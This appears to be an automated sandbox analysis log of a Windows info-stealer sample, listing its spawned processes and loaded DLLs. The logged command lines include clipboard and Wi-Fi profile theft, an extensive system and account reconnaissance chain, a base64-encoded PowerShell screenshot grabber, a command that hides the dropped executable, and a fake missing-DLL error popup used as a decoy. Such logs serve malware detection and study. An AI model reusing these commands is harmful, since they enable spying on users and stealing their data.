Source: C:\Users\user\Desktop\dens.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell.exe Get-Clipboard"	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "netsh wlan show profiles"	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "echo ####System Info#### & systeminfo & echo ####System Version#### & ver & echo ####Host Name#### & hostname & echo ####Environment Variable#### & set & echo ####Logical Disk#### & wmic logicaldisk get caption,description,providername & echo ####User Info#### & net user & echo ####Online User#### & query user & echo ####Local Group#### & net localgroup & echo ####Administrators Info#### & net localgroup administrators & echo ####Guest User Info#### & net user guest & echo ####Administrator User Info#### & net user administrator & echo ####Startup Info#### & wmic startup get caption,command & echo ####Tasklist#### & tasklist /svc & echo ####Ipconfig#### & ipconfig/all & echo ####Hosts#### & type C:\WINDOWS\System32\drivers\etc\hosts & echo ####Route Table#### & route print & echo ####Arp Info#### & arp -a & echo ####Netstat#### & netstat -ano & echo ####Service Info#### & sc query type= service state= all & echo ####Firewallinfo#### & netsh firewall show state & netsh firewall show config"	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIA	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic path win32_VideoController get name	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic computersystem get Manufacturer	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic path Win32_ComputerSystem get Manufacturer
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic csproduct get uuid
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +h +s "C:\Users\user\AppData\Local\WaltuhiumUpdateService\Waltuhium.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\mshta.exe mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('The Program can\x22t start because api-ms-win-crt-runtime-\|l1-1-.dll is missing from your computer. Try reinstalling the program to fix this problem', 0, 'System Error', 0+16);close()"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c chcp
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c chcp
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe Get-Clipboard
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\systeminfo.exe systeminfo
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\HOSTNAME.EXE hostname
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic logicaldisk get caption,description,providername
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net user
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\query.exe query user
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net localgroup
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net localgroup administrators
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net user guest
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net user administrator
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic startup get caption,command
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /svc
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\ipconfig.exe ipconfig /all
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\ROUTE.EXE route print
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\ARP.EXE arp -a
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\NETSTAT.EXE netstat -ano
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc query type= service state= all
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh firewall show state
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh firewall show config
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 user
Source: C:\Windows\System32\query.exe	Process created: C:\Windows\System32\quser.exe "C:\Windows\system32\quser.exe"
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 localgroup
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 localgroup administrators
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 user guest
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 user administrator
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic csproduct get uuid
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIAB
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\dens.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Section loaded: libffi-8.dll	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Section loaded: libcrypto-3.dll	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Section loaded: libssl-3.dll	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Section loaded: sqlite3.dll	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Section loaded: sbiedll.dll	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vbscript.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sxs.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vbscript.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sxs.dll
Source: C:\Windows\System32\attrib.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\attrib.exe	Section loaded: fsutilext.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: mshtml.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: kernel.appcore.dll
